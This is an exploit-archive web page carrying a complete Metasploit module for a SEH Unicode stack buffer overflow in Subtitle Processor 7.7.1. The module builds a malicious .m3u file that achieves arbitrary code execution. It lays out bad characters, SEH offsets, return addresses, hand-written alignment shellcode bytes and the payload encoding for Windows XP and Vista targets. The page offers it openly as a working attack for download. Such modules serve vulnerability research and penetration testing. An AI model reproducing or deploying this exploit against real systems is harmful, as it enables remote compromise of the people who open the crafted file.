exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow

Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow
Posted Apr 28, 2011
Authored by sinn3r, Brandon Murphy | Site metasploit.com

This Metasploit module exploits a vulnerability found in Subtitle Processor 7. By supplying a long string of data as a .m3u file, Subtitle Processor first converts this input in Unicode, which expands the string size, and then attempts to copy it inline on the stack. This results a buffer overflow with SEH overwritten, allowing arbitrary code execution.

tags | exploit, overflow, arbitrary, code execution
SHA-256 | 26d612333618be29098a0672577a27e3c6d14fed9fd3745d7b80c96b8ea7a1fe

Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow

Change Mirror Download
##
# $Id: subtitle_processor_m3u_bof.rb 12461 2011-04-28 08:12:32Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})
super(update_info(info,
'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Subtitle Processor 7. By
supplying a long string of data as a .m3u file, Subtitle Processor first converts
this input in Unicode, which expands the string size, and then attempts to copy it
inline on the stack. This results a buffer overflow with SEH overwritten, allowing
arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12461 $",
'Author' =>
[
'Brandon Murphy', #Initial discovery, poc
'sinn3r', #Metasploit
],
'References' =>
[
[ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17217/' ],
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'BufferRegister' => 'ECX',
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3',
{
'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL
'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size
},
],
[
'Windows Vista SP0',
{
'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL
'Offset' => 4078, #Offset to SEH chain
'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe)
'Max' => 5000, #Max buffer size
}
],
],
'Privileged' => false,
'DisclosureDate' => "Apr 26 2011" ))

register_options(
[
OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
], self.class)
end

def get_unicode_payload(p)
encoder = framework.encoders.create("x86/unicode_mixed")
encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} )
unicode_payload = encoder.encode(p, nil, nil, platform)
return unicode_payload
end

def exploit

#NOP between each instruction
nop = target['Nop']

sploit = ''

#Create the exploit
if target.name =~ /XP/

#PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX
alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1"
tmp = alignment << payload.encoded
p = get_unicode_payload(tmp)

#4050 bytes for shellcode
sploit << rand_text_alpha(2) #Padding
sploit << p
sploit << rand_text_alpha(target['Offset']-sploit.length)
sploit << "\x61"
sploit << nop
sploit << [target.ret].pack('V*')
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x61" #POPAD
sploit << nop
sploit << "\x51" #PUSH ECX (for x86/unicode_mixed)
sploit << nop
sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX)
sploit << nop
sploit << "\x51" #PUSH ECX
sploit << nop
sploit << "\xc3" #RETN
sploit << rand_text_alpha(target['Max']-sploit.length)

elsif target.name =~ /Vista/

# PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX
alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1"
tmp = alignment << payload.encoded
p = get_unicode_payload(tmp)

#4008 bytes of space for shellcode
sploit << rand_text_alpha(62)
sploit << p
sploit << rand_text_alpha(target['Offset']-sploit.length)
sploit << "\x61"
sploit << nop
sploit << [target.ret].pack('V*')
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x61"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x5e"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\x59"
sploit << nop
sploit << "\x56"
sploit << nop
sploit << "\xc3"
sploit << nop
sploit << rand_text_alpha(target['Max']-sploit.length)

end

#Generate file
print_status("Creating #{datastore['FILENAME']}...")
file_create(sploit)

end
end
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    27 Files
  • 29
    Feb 29th
    8 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close